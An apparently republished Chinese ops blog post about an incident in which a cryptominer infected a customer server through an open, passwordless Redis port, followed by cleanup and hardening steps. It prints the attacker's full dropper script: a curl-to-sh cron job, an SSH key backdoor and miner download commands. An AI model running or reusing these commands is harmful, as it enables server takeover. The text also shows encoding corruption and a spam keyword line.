中文字幕视频在线看,亚洲精品无码久久久久av老牛,亚洲精品无码av片,亚洲av影院一区二区三区,亚洲国产精品成人久久久

  1. 尊云服務器首頁
  2. 運維技術

云服務器挖礦靠譜嗎？風險與收益分析

云計算 ? ? 運維技術 ? 閱讀 11

一、問題現(xiàn)象

現(xiàn)在是周五下午6點，已經下班，正準備收拾東西回家，突然電話鈴聲響起，來電的是我們的一個客戶，告訴我說他們的一個線上秒殺系統(tǒng)不能用了，看來又要加班了，這就是運維工程師的生活啊，想準點下班一次，都難啊！這難道就是所謂的黑五嗎？

打開電腦，連上客戶服務器，看看是什么原因?？蛻舻姆掌鬟\行在阿里云上，項目初期由我們開發(fā)和運維，項目交付后，就交給客戶去運維了，所以很多客戶服務器信息我們還是有的。

先說下客戶的應用系統(tǒng)環(huán)境，操作系統(tǒng)是centos7.9，應用系統(tǒng)是java+mysql+redis運行環(huán)境，客戶說周五下午他們電商平臺做了一個大型的秒殺活動，從下午二點開始到凌晨結束，秒殺系統(tǒng)剛開始的時候都正常運行，但到了下午6點后，突然就無法使用了，前臺提交秒殺請求后，一直無響應，最終超時退出。

了解完客戶的系統(tǒng)故障后，感覺很奇怪，為啥秒殺系統(tǒng)以開始是正常的呢，并且到6點后就突然不正常了，第一感覺：是不是有什么計劃任務在作怪？

二、分析問題

現(xiàn)象只是問題的表面，要了解本質的東西，必須要“深入虎穴”，先登錄服務器，看看整個系統(tǒng)的運行狀態(tài)，再做進一步的判斷。top命令執(zhí)行后，截圖如下：

云服務器挖礦靠譜嗎？風險與收益分析

這個服務器是16核32GB內存，硬件資源配置還是很高的，但是，從圖中可以看出，系統(tǒng)的平均負載較高，發(fā)現(xiàn)都在10以上，有個pid為16717的minerd的進程，消耗了大量CPU資源，并且這個minerd進程還是通過root用戶啟動的，已經啟動了35分45秒?？磥磉@個進程是剛剛啟動的。

這個時間引起了我的一些疑惑，但是目前還說不清，此時，我看了下手表，當前時間是周五18點35分，接著，又問了下客戶這個秒殺系統(tǒng)出問題多久了，客戶回復說大概35分鐘的樣子。

問題好像在一步步揭開。

2.1、追查minerd不明進程

下面仍然回到minerd這個不明進程上來：一個進程突然啟動，并且耗費大量CPU資源，這是一個什么進程呢，于是，帶著疑問，搜索了一下，十分震驚，這是一個挖礦程序。

何為挖礦，這里稍微普及一下：所謂”挖礦”實質上是用計算機解決一項復雜的數(shù)學問題，是用于賺取比特幣的一個程序，挖礦是消耗計算資源來處理交易，確保網絡安全以及保持網絡中每個人的信息同步的過程?？梢岳斫鉃槭潜忍貛诺臄?shù)據中心，區(qū)別在于其完全是去中心化的設計，礦工在世界各國進行操作，沒有人可以對網絡具有控制權。這個過程因為同淘金類似而被稱為“挖礦”。

任何人都可以在專門的硬件上運行軟件程序而成為比特幣礦工。挖礦軟件通過P2P網絡監(jiān)聽交易廣播，執(zhí)行任務以處理并確認這些交易。比特幣礦工完成這些工作后，就有機會獲取一定量的比特幣作為賞金，但是付出的代價是需要大量的計算資源，挖礦軟件依據特定算法，執(zhí)行大量的計算，會大量占據cpu，導致系統(tǒng)卡頓，嚴重的直接癱瘓。

這幾年比特幣價格一路飆升，現(xiàn)在大家玩比特幣挖礦的太多了，但多數(shù)都是用礦機或者顯卡完成計算，而實際上最初比特幣的挖礦是用電腦的CPU來進行的，雖然現(xiàn)在CPU的計算力遠遠落后于顯卡和礦機，但并不是說不能用CPU來挖礦了，用CPU挖礦的軟件很多，其中最有名的就是minerd，minerd是一個比特幣挖礦程序，能夠運行在服務器上挖礦，并大量消耗CPU資源。

好了，題外話說完了，繼續(xù)回到本案例來，既然知道了這是個挖礦程序，那么下面要解決的問題是什么呢，先捋一下思路：

1、挖礦程序影響了系統(tǒng)運行，因此當務之急是馬上關閉并刪除挖礦程序。
2、挖礦程序是怎么被植入進來的，需要排查植入原因。
3、找到挖礦程序植入途徑，然后封堵漏洞。

2.2、清除minerd挖礦進程

在上面看到了挖礦程序minerd的pid為16717，那么可以根據進程ID查詢一下產生進程的程序路徑，可以執(zhí)行“l(fā)s -al /proc/$PID/exe”,就能獲知pid對應的可執(zhí)行文件路徑，其中$PID為查詢到的進程ID。

[root@localhost ~]#  ls -al /proc/16717/exe         
lrwxrwxrwx 1 root root 0 Apr 25 13:59 /proc/5423/exe -> /var/tmp/minerd

找到程序路徑以及pid，就可以清除這個挖礦程序了，執(zhí)行如下：

[root@localhost ~]#  kill -9 16717
[root@localhost ~]#  rm -rf /var/tmp/minerd

清除完畢，然后top查看了系統(tǒng)進程狀態(tài)，minerd進程已經不在了，系統(tǒng)負載也開始下降。但直覺告訴我，這個挖礦程序沒有這么簡單。

果然，在清除挖礦程序的5分鐘后，又發(fā)現(xiàn)minerd進程啟動起來了。

根據一個老鳥運維的經驗，感覺應該是crontab里面被寫入了定時任務。于是，下面開始檢查系統(tǒng)的crontab文件的內容。

linux下有系統(tǒng)級別的crontab和用戶級別的crontab，用戶級別下的crontab定義后，會在/var/spool/cron目錄下創(chuàng)建對應用戶的計劃任務腳本，而系統(tǒng)級別下的crontab，可以直接查看/etc/crontab文件。

首先查看 /var/spool/cron目錄，查詢一下系統(tǒng)中是否有異常的用戶計劃任務腳本程序。如下圖所示：

[root@localhost cron]# ll /var/spool/cron/
total 4
drwxr-xr-x 2 root root  6 Oct 18 19:01 crontabs
-rw------- 1 root root 80 Oct 18 19:04 root
[root@localhost cron]# cat /var/spool/cron/root
*/5 18-23,0-7 * * * curl -fsSL https://r.chanstring.com/api/report?pm=0988 | sh
[root@localhost cron]# cat /var/spool/cron/crontabs/root
*/5 18-23,0-7 * * * curl -fsSL https://r.chanstring.com/api/report?pm=0988 | sh

可以發(fā)現(xiàn)，/var/spool/cron/root和
/var/spool/cron/crontabs/root兩個文件中都有被寫入的計劃任務。兩個計劃任務是一樣的，計劃任務的設置策略是：
每天的18點到23點，0點到7點，這段時間內，每五分鐘執(zhí)行一個curl操作，這個curl操作會從r.chanstring.com這個網站上下載一個腳本，然后在本地服務器上執(zhí)行。

這里有個很有意思的事情，此計劃任務的執(zhí)行時間剛好在非工作日期間（8點到23點，0點到7點），此駭客還是很有想法的，利用非工作日期間，借用客戶的服務器偷偷挖礦，這個時間段隱蔽性很強，不容易發(fā)現(xiàn)服務器異常。也正好解釋了上面客戶提到的從18點開始，秒殺系統(tǒng)就出現(xiàn)異常的原因。

既然發(fā)現(xiàn)了這個下載腳本的網站，那就看看下載下來的腳本到底是什么，執(zhí)行了什么操作，
https://r.chanstring.com/api/report?pm=0988 此網站很明顯是個api接口，下載下來的內容如下：

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 18-23,0-7 * * * curl -fsSL https://r.chanstring.com/api/report?pm=0988 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 18-23,0-7 * * * curl -fsSL https://r.chanstring.com/api/report?pm=0988 | sh" > /var/spool/cron/crontabs/root

if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then
    mkdir -p ~/.ssh
    rm -f ~/.ssh/authorized_keys*
    echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq
    echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
    echo "RSAAuthentication yes" >> /etc/ssh/sshd_config
    echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
    echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config
    /etc/init.d/sshd restart
fi

if [ ! -f "/var/tmp/minerd" ]; then
    curl -fsSL https://r.chanstring.com/minerd -o /var/tmp/minerd
    chmod +x /var/tmp/minerd
    /var/tmp/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:6666 -u 41rFhY1SKNXNyr3dMqsWqkNnkny8pVSvhiDuTA3zCp1aBqJfFWSqR7Wj2hoMzEMUR1JGjhvbXQnnQ3zmbvvoKVuZV2avhJh -p x
fi
ps auxf | grep -v grep | grep /var/tmp/minerd || /var/tmp/minerd -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:6666 -u 41rFhY1SKNXNyr3dMqy5hflu/XRe4dybhCp1aBqJfFWSqR7Wj2hoMzEMUR1JGjhvbXQnnQy5hflu/XRe4dybh -p x

if [ ! -f "/etc/init.d/lady" ]; then
    if [ ! -f "/etc/systemd/system/lady.service" ]; then
        curl -fsSL https://r.chanstring.com/v10/lady_`uname -i` -o /var/tmp/KHK75NEOiq66 && chmod +x /var/tmp/KHK75NEOiq66 && /var/tmp/KHK75NEOiq66
    fi
fi

service lady start
systemctl start lady.service
/etc/init.d/lady start

這是個非常簡單的shell腳本，基本的執(zhí)行邏輯是：

1、寫入計劃任務到/var/spool/cron/root和
/var/spool/cron/crontabs/root文件中。
2、接著檢查/root/.ssh/KHK75NEOiq文件（這應該是個公鑰文件）是否存在，如果不存在，寫入公鑰到服務器，并修改/etc/ssh/sshd_config的配置。
3、檢查挖礦程序/var/tmp/minerd是否存在，如果不存在，從網上下載一個，然后授權，最后開啟挖礦程序。同時，還會檢查挖礦進程是否存在，不存在就重新啟動挖礦進程，其中，-o參數(shù)后面跟的是礦池地址和端口號， -u參數(shù)后面是黑 客自己的錢包地址，-p參數(shù)是密碼，隨意填寫就行。

到這里為止，挖礦程序的運行機制基本清楚了。但是，客戶的問題還沒有解決！

那么黑 客是如何植入挖礦程序到系統(tǒng)的呢？這個問題需要查清楚。

2.3、尋找挖礦程序植入來源

為了弄清楚挖礦程序是如何植入系統(tǒng)的，下面在系統(tǒng)中繼續(xù)查找問題，試圖找到一些漏洞或者入 侵痕跡。

考慮到這秒殺系統(tǒng)運行了mysql、redis、tomcat和nginx，那么看看這些啟動的端口是否安全呢，執(zhí)行命令獲取結果如下：

云服務器挖礦靠譜嗎？風險與收益分析

從netstat命令輸出可以看出，系統(tǒng)內啟動了多個端口，nginx對應的端口是80，允許所有IP（0.0.0.0）訪問，此外，redis啟動了6380端口、mysql啟動了3306端口，都默認綁定的是0.0.0.0，此外還看到有8080、8009端口，這個應該是tomcat啟動的端口。

這么多啟動的端口，其中，80、3306、6380都監(jiān)聽在0.0.0.0上，這是有一定風險的，但是可以通過防火墻屏蔽這些端口，說到防火墻，那么接下看再看看iptables的配置規(guī)則，內容如下：

云服務器挖礦靠譜嗎？風險與收益分析

從輸出的iptables規(guī)則中，馬上發(fā)現(xiàn)有一個異常規(guī)則，那就是6380端口，對全網（0.0.0.0）開放，這是非常危險的規(guī)則，怎么會讓6380對全網開放呢，另外又查看發(fā)現(xiàn)，80端口也是全網開放，這個是必須要打開的，沒問題。而3306端口沒有在防護墻規(guī)則上顯示出來，而INPUT鏈默認是DROP模式，也就是3306端口沒有對外網開放，是安全的。

發(fā)現(xiàn)了6380端口對全網開放，那么就在外網試圖連接看看情況，執(zhí)行如下：

[root@client189 ~]# redis-cli  -h 182.16.21.32 -p 6380
182.16.21.32:6380> info
# Server
redis_version:3.2.12
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:3dc3425a3049d2ef
redis_mode:standalone
os:Linux 3.10.0-862.2.3.el7.x86_64 x86_64
......

這個厲害了，直接無密碼遠程登錄上來了，還能查看redis信息、執(zhí)行redis命令。

至此，問題找到了，redis的無密碼登錄，以及redis端口6380對全網開放，導致被入 侵了。

最后，問了下為何要將6380端口全網開放，客戶回憶說，因為開發(fā)要在家辦公處理問題，需要遠程連接redis，所以就讓運維在服務器開放了這個6380端口，但是開發(fā)處理問題后，運維忘記關閉這個端口了，至此，運維成功背鍋。

其實我覺得這是一個協(xié)作機制問題，開發(fā)、運維協(xié)調工作，需要有個完備的協(xié)作機制，對于線上服務器，端口是不能隨意對外網開放的，由于處理問題的不確定性，運維要有一個線上服務器防護機制，例如通過VPN、跳板機等方式，一方面可以保證可隨時隨地辦公，另一方面也能確保線上服務器的安全。

三、問題解決

到這里為止，我們已經基本找到此次故障的原因了。梳理一下思路，總結如下：

（1）、黑 客通過掃描軟件掃到了服務器的6380端口，然后發(fā)現(xiàn)此端口對應的redis服務無密碼驗證，于是入 侵了系統(tǒng)。
（2）、在系統(tǒng)上植入了挖礦程序，并且通過crontab定期檢查挖礦程序，如果程序關閉，自動下載，自動運行挖礦。
（3）、挖礦程序的啟動時間在每天下午18點，一直運行到第二天的早上七點鐘，這和客戶的秒殺系統(tǒng)在18點發(fā)生故障剛好吻合。
（4）、挖礦程序啟動后，會大量占用系統(tǒng)的CPU資源，最終導致秒殺系統(tǒng)無資源可用，進而系統(tǒng)癱瘓。

問題找到了，思路也理清了，那么怎么解決問題呢，其實解決問題很簡單了。解決問題分成兩個階段，分別如下：

3.1、徹底清除植入的挖礦程序

（1）、首先刪除計劃任務腳本中異常配置項，如果當前系統(tǒng)之前并未配置過計劃任務，可以直接執(zhí)行rm -rf /var/spool/cron/?刪除計劃任務目錄下所有內容即可。
（2）、刪除黑 客創(chuàng)建的密鑰認證文件，如果當前系統(tǒng)之前并未配置過密鑰認證，可以直接執(zhí)行rm -rf /root/.ssh/?清空認證存放目錄即可。如果有配置過密鑰認證，需要刪除指定的黑 客創(chuàng)建的認證文件即可，當前腳本的密鑰文件名是KHK75NEOiq，此名稱可能會有所變化，要根據具體情況進行刪除。
（3）、修復sshd配置文件/etc/ssh/sshd_config，看上面植入的腳步，黑 客主要修改了PermitRootLogin、RSAAuthentication、PubkeyAuthentication幾個配置項，還修改了密鑰認證文件名為KHK75NEOiq，建議修改成默認值“AuthorizedKeysFile .ssh/authorized_keys”即可。修改完成后重啟sshd服務，使配置生效即可?；蛘咦詈唵蔚姆椒ㄊ菑钠渌５南到y(tǒng)下拷貝一個sshd_config覆蓋過來即可。
（4）、刪除/etc/init.d/lady文件、/var/tmp/minerd文件、/var/tmp/KHK75NEOiq66文件、
/etc/systemd/system/lady.service文件等所有可疑內容。
（5）、通過top命令查看挖礦程序運行的pid，然后根據pid找到可執(zhí)行文件路徑，最后刪除，同時kill掉這個進行pid。
（6）、從/etc/rc.local下，/etc/init.d/下檢查是否有開機自啟動的挖礦程序，如果有刪除掉。

通過這幾個步驟，基本上可以完全清除被植入的挖礦程序了，當然，還是繼續(xù)監(jiān)控和觀察，看挖礦程序是否還會自動啟動和執(zhí)行。經過幾個小時觀察，異常挖礦程序再無啟動，看來病毒已經徹底清理掉了。

3.2、系統(tǒng)安全加固

安全加固主要從幾個來進行：

1、設置防火墻，禁止外網訪問Redis

此次故障的主要原因是系統(tǒng)對外暴露了6380端口導致的，因此，從iptables上關閉6380端口是當務之急，可執(zhí)行如下命令，刪除開放的6380端口。

iptables -D INPUT -p tcp -m tcp –dport 6380 -j ACCEPT

2、以低權限運行Redis服務

此案例中，redis的啟動用戶是root，這樣很不安全，一旦redis被入 侵，那么黑 客就具有了root用戶權限，因此，推薦redis用普通用戶去啟動。

3、修改默認redis端口

redis默認端口是6379，常用的掃描軟件都會掃描6379、6380、6381等等這一批redis類端口，因此，修改redis服務默認端口也非常有必要，將端口修改為一個陌生不易被掃描到的端口，例如，36138等。

4、給redis設置密碼驗證

修改redis配置文件redis.conf，添加如下內容：

requirepass mypassword

其中，mypassword就是redis的密碼。密碼添加后，需要重啟redis生效，如何驗證密碼是否生效，可以通過如下方法：

[root@localhost ~]# redis-cli -h 127.0.0.1
127.0.0.1:6379> info
NOAUTH Authentication required.
127.0.0.1:6379> auth mypassword
OK
127.0.0.1:6379> info
# Server
redis_version:3.2.12
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:3dc3425a3049d2ef
redis_mode:standalone
os:Linux 3.10.0-862.2.3.el7.x86_64 x86_64
。。。。。。

在上面操作中，首先不輸入密碼登錄后，執(zhí)行info發(fā)現(xiàn)提示驗證失敗，然后輸入auth后面跟上密碼，即可驗證成功。

這里注意，不要在linux命令行直接輸入-a參數(shù)，類似這樣：

[root@localhost ~]# redis-cli -h 127.0.0.1 -a mypassword

-a參數(shù)后面跟的是密碼是明文的，這樣很不安全。

5、保證authorized_keys文件的安全

authorized_keys文件非常重要，它存儲著本地系統(tǒng)可以允許遠端計算機系統(tǒng)ssh免密碼登陸的賬號信息。也就是遠端的計算機可以通過什么賬號不需要輸入密碼就可以遠程登陸本系統(tǒng)。默認情況下此文件權限為600才能正常工作，為了安全起見，可將authorized_keys的權限設置為對擁有者只讀，其他用戶沒有任何權限，即為：

chmod 400 ~/.ssh/authorized_keys

同時，為保證authorized_keys的權限不會被改掉，還建議設置該文件的immutable位權限:

chattr +i ~/.ssh/authorized_keys

這樣，authorized_keys文件就被鎖定了，如果不解鎖的話，root用戶也無法修改此文件。

經過上面五個步驟的操作，故障基本解決了，客戶的秒殺系統(tǒng)也恢復正常了，從排查問題，到故障排除，花費了40分鐘的時間。

版權聲明：本文內容由互聯(lián)網用戶自發(fā)貢獻，該文觀點僅代表作者本人。本站僅提供信息存儲空間服務，不擁有所有權，不承擔相關法律責任。如發(fā)現(xiàn)本站有涉嫌抄襲侵權/違法違規(guī)的內容， 請發(fā)送郵件至2705686032@qq.com 舉報，一經查實，本站將立刻刪除。原文轉載： 原文出處：

贊 (0)
云計算的頭像云計算
上一篇 2025 年 1 月 14 日 09:10
下一篇 2025 年 1 月 14 日 09:14

相關推薦

發(fā)表回復

登錄后才能評論

聯(lián)系我們

400-900-3935

在線咨詢： QQ交談

郵件：cong@zun.com

工作時間：365天無休服務 24小時在線

添加微信